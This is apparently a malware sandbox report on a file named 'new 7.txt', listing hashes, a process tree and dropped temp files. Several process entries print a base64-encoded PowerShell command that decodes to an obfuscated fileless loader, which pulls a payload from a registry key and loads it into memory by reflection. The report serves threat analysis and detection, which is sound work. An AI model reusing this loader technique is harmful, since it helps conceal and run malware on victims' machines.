File name: | new 7.txt |
Full analysis: | https://app.any.run/tasks/e7da7b28-cf61-4722-859c-0e5c91c2a195 |
Verdict: | Malicious activity |
Analysis date: | January 24, 2022, 23:36:50 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with very long lines, with no line terminators |
MD5: | F03F9D487C4EF71513ABA6DC1B065BFB |
SHA1: | 1414A07EA7B93F8016C6B9ECB6D245F555D21B3F |
SHA256: | 91101762029B3CAA45F1D904AB51A19192BF50E8B12EB8B877EF6FCF7BDE14AB |
SSDEEP: | 24:oXWa48Sp6Ha75yZkibmBhVkMBa5Qvkg9I0JrFQw1nH3W7aiLth8KwPB4D:oiakD7JD9IoAainkCD |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
4008 | "C:\Windows\system32\NOTEPAD.EXE" "C:\Users\admin\Downloads\new 7.txt" | C:\Windows\system32\NOTEPAD.EXE | — | Explorer.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Notepad Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2540 | "C:\Windows\system32\cmd.exe" | C:\Windows\system32\cmd.exe | — | Explorer.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2128 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "/e OQA1ADcANAA4ADEAOAA4ADQAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAHgAbgBrAD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcAFAAaABvAG4AZQBcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgB1AHMAZQByAG4AYQBtAGUAKwAiADAAIgApADsAZgBvAHIAIAAoACQAeABjAGwAPQAwADsAJAB4AGMAbAAgAC0AbABlACAANwAxADQAOwAkAHgAYwBsACsAKwApAHsAVAByAHkAewAkAHQAcgArAD0AJAB4AG4AawAuACQAeABjAGwAfQBDAGEAdABjAGgAewB9AH0AOwAkAHgAYwBsAD0AMAA7AHcAaABpAGwAZQAoACQAdAByAHUAZQApAHsAJAB4AGMAbAArACsAOwAkAGsAbwA9AFsAbQBhAHQAaABdADoAOgAoACIAcwBxACIAKwAiAHIAdAAiACkAKAAkAHgAYwBsACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAGwAaAA9ACQAdAByAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQA7ACQAcwBjAGsAPQBbAGIAeQB0AGUAWwBdAF0AOgA6ACgAIgBuAGUAIgArACIAdwAiACkAKAAkAGwAaAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHgAYwBsAD0AMAA7ACQAeABjAGwAIAAtAGwAdAAgACQAbABoAC4ATABlAG4AZwB0AGgAOwAkAHgAYwBsACsAPQAyACkAewAkAHMAYwBrAFsAJAB4AGMAbAAvADIAXQA9AFsAYwBvAG4AdgBlAHIAdABdADoAOgAoACIAVABvAEIAIgArACIAeQB0AGUAIgApACgAJABsAGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAeABjAGwALAAyACkALAAoADIAKgA4ACkAKQB9AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvACIAKwAiAGEAZAAiACkAKAAkAHMAYwBrACkAOwBbAE8AcABlAG4AXQA6ADoAKAAiAFQAZQAiACsAIgBzAHQAIgApACgAKQA7ADYAMAA0ADIANAA0ADIAOAAyADsA" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
992 | "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /e OQA1ADcANAA4ADEAOAA4ADQAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAHgAbgBrAD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcAFAAaABvAG4AZQBcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgB1AHMAZQByAG4AYQBtAGUAKwAiADAAIgApADsAZgBvAHIAIAAoACQAeABjAGwAPQAwADsAJAB4AGMAbAAgAC0AbABlACAANwAxADQAOwAkAHgAYwBsACsAKwApAHsAVAByAHkAewAkAHQAcgArAD0AJAB4AG4AawAuACQAeABjAGwAfQBDAGEAdABjAGgAewB9AH0AOwAkAHgAYwBsAD0AMAA7AHcAaABpAGwAZQAoACQAdAByAHUAZQApAHsAJAB4AGMAbAArACsAOwAkAGsAbwA9AFsAbQBhAHQAaABdADoAOgAoACIAcwBxACIAKwAiAHIAdAAiACkAKAAkAHgAYwBsACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAGwAaAA9ACQAdAByAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQA7ACQAcwBjAGsAPQBbAGIAeQB0AGUAWwBdAF0AOgA6ACgAIgBuAGUAIgArACIAdwAiACkAKAAkAGwAaAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHgAYwBsAD0AMAA7ACQAeABjAGwAIAAtAGwAdAAgACQAbABoAC4ATABlAG4AZwB0AGgAOwAkAHgAYwBsACsAPQAyACkAewAkAHMAYwBrAFsAJAB4AGMAbAAvADIAXQA9AFsAYwBvAG4AdgBlAHIAdABdADoAOgAoACIAVABvAEIAIgArACIAeQB0AGUAIgApACgAJABsAGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAeABjAGwALAAyACkALAAoADIAKgA4ACkAKQB9AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvACIAKwAiAGEAZAAiACkAKAAkAHMAYwBrACkAOwBbAE8AcABlAG4AXQA6ADoAKAAiAFQAZQAiACsAIgBzAHQAIgApACgAKQA7ADYAMAA0ADIANAA0ADIAOAAyADsA | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
2744 | "C:\Windows\system32\cmd.exe" | C:\Windows\system32\cmd.exe | Explorer.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1968 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "/e OQA1ADcANAA4ADEAOAA4ADQAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAHgAbgBrAD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcAFAAaABvAG4AZQBcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgB1AHMAZQByAG4AYQBtAGUAKwAiADAAIgApADsAZgBvAHIAIAAoACQAeABjAGwAPQAwADsAJAB4AGMAbAAgAC0AbABlACAANwAxADQAOwAkAHgAYwBsACsAKwApAHsAVAByAHkAewAkAHQAcgArAD0AJAB4AG4AawAuACQAeABjAGwAfQBDAGEAdABjAGgAewB9AH0AOwAkAHgAYwBsAD0AMAA7AHcAaABpAGwAZQAoACQAdAByAHUAZQApAHsAJAB4AGMAbAArACsAOwAkAGsAbwA9AFsAbQBhAHQAaABdADoAOgAoACIAcwBxACIAKwAiAHIAdAAiACkAKAAkAHgAYwBsACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAGwAaAA9ACQAdAByAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQA7ACQAcwBjAGsAPQBbAGIAeQB0AGUAWwBdAF0AOgA6ACgAIgBuAGUAIgArACIAdwAiACkAKAAkAGwAaAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHgAYwBsAD0AMAA7ACQAeABjAGwAIAAtAGwAdAAgACQAbABoAC4ATABlAG4AZwB0AGgAOwAkAHgAYwBsACsAPQAyACkAewAkAHMAYwBrAFsAJAB4AGMAbAAvADIAXQA9AFsAYwBvAG4AdgBlAHIAdABdADoAOgAoACIAVABvAEIAIgArACIAeQB0AGUAIgApACgAJABsAGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAeABjAGwALAAyACkALAAoADIAKgA4ACkAKQB9AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvACIAKwAiAGEAZAAiACkAKAAkAHMAYwBrACkAOwBbAE8AcABlAG4AXQA6ADoAKAAiAFQAZQAiACsAIgBzAHQAIgApACgAKQA7ADYAMAA0ADIANAA0ADIAOAAyADsA" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) | ||||
1356 | "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" /e OQA1ADcANAA4ADEAOAA4ADQAOwBzAGwAZQBlAHAAIAAtAHMAIAA3ADEAOwAkAHgAbgBrAD0ARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AcABhAHQAaAAgACgAIgBoAGsAIgArACIAYwB1ADoAXABzAG8AZgAiACsAIgB0AHcAIgArACIAYQByAGUAXABtAGkAYwAiACsAIgByAG8AcwAiACsAIgBvAGYAdABcAFAAaABvAG4AZQBcACIAKwBbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgB1AHMAZQByAG4AYQBtAGUAKwAiADAAIgApADsAZgBvAHIAIAAoACQAeABjAGwAPQAwADsAJAB4AGMAbAAgAC0AbABlACAANwAxADQAOwAkAHgAYwBsACsAKwApAHsAVAByAHkAewAkAHQAcgArAD0AJAB4AG4AawAuACQAeABjAGwAfQBDAGEAdABjAGgAewB9AH0AOwAkAHgAYwBsAD0AMAA7AHcAaABpAGwAZQAoACQAdAByAHUAZQApAHsAJAB4AGMAbAArACsAOwAkAGsAbwA9AFsAbQBhAHQAaABdADoAOgAoACIAcwBxACIAKwAiAHIAdAAiACkAKAAkAHgAYwBsACkAOwBpAGYAKAAkAGsAbwAgAC0AZQBxACAAMQAwADAAMAApAHsAYgByAGUAYQBrAH0AfQAkAGwAaAA9ACQAdAByAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQA7ACQAcwBjAGsAPQBbAGIAeQB0AGUAWwBdAF0AOgA6ACgAIgBuAGUAIgArACIAdwAiACkAKAAkAGwAaAAuAEwAZQBuAGcAdABoAC8AMgApADsAZgBvAHIAKAAkAHgAYwBsAD0AMAA7ACQAeABjAGwAIAAtAGwAdAAgACQAbABoAC4ATABlAG4AZwB0AGgAOwAkAHgAYwBsACsAPQAyACkAewAkAHMAYwBrAFsAJAB4AGMAbAAvADIAXQA9AFsAYwBvAG4AdgBlAHIAdABdADoAOgAoACIAVABvAEIAIgArACIAeQB0AGUAIgApACgAJABsAGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAeABjAGwALAAyACkALAAoADIAKgA4ACkAKQB9AFsAcgBlAGYAbABlAGMAdABpAG8AbgAuAGEAcwBzAGUAbQBiAGwAeQBdADoAOgAoACIATABvACIAKwAiAGEAZAAiACkAKAAkAHMAYwBrACkAOwBbAE8AcABlAG4AXQA6ADoAKAAiAFQAZQAiACsAIgBzAHQAIgApACgAKQA7ADYAMAA0ADIANAA0ADIAOAAyADsA | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 0 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) |
PID | Process | Filename | Type | |
---|---|---|---|---|
992 | powershell.exe | C:\Users\admin\AppData\Local\Temp\0f5mrm41.lxx.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2128 | powershell.exe | C:\Users\admin\AppData\Local\Temp\wfvbc1vx.sre.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
1356 | powershell.exe | C:\Users\admin\AppData\Local\Temp\wtspivj3.nri.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
1968 | powershell.exe | C:\Users\admin\AppData\Local\Temp\1i0x0411.ckl.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
1968 | powershell.exe | C:\Users\admin\AppData\Local\Temp\hkk5n1l3.k1k.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
1356 | powershell.exe | C:\Users\admin\AppData\Local\Temp\spikiz4d.ntu.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
992 | powershell.exe | C:\Users\admin\AppData\Local\Temp\semn5nnw.tcp.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2128 | powershell.exe | C:\Users\admin\AppData\Local\Temp\3kn0h1pk.iad.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
992 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:1068BF0B9B98C206F587A7DB05F6DD06 | SHA256:534478EDAFC5087DAA3749624454988B1F7DF923BF1A0A9E28C5F97C3308CFDB | |||
992 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF |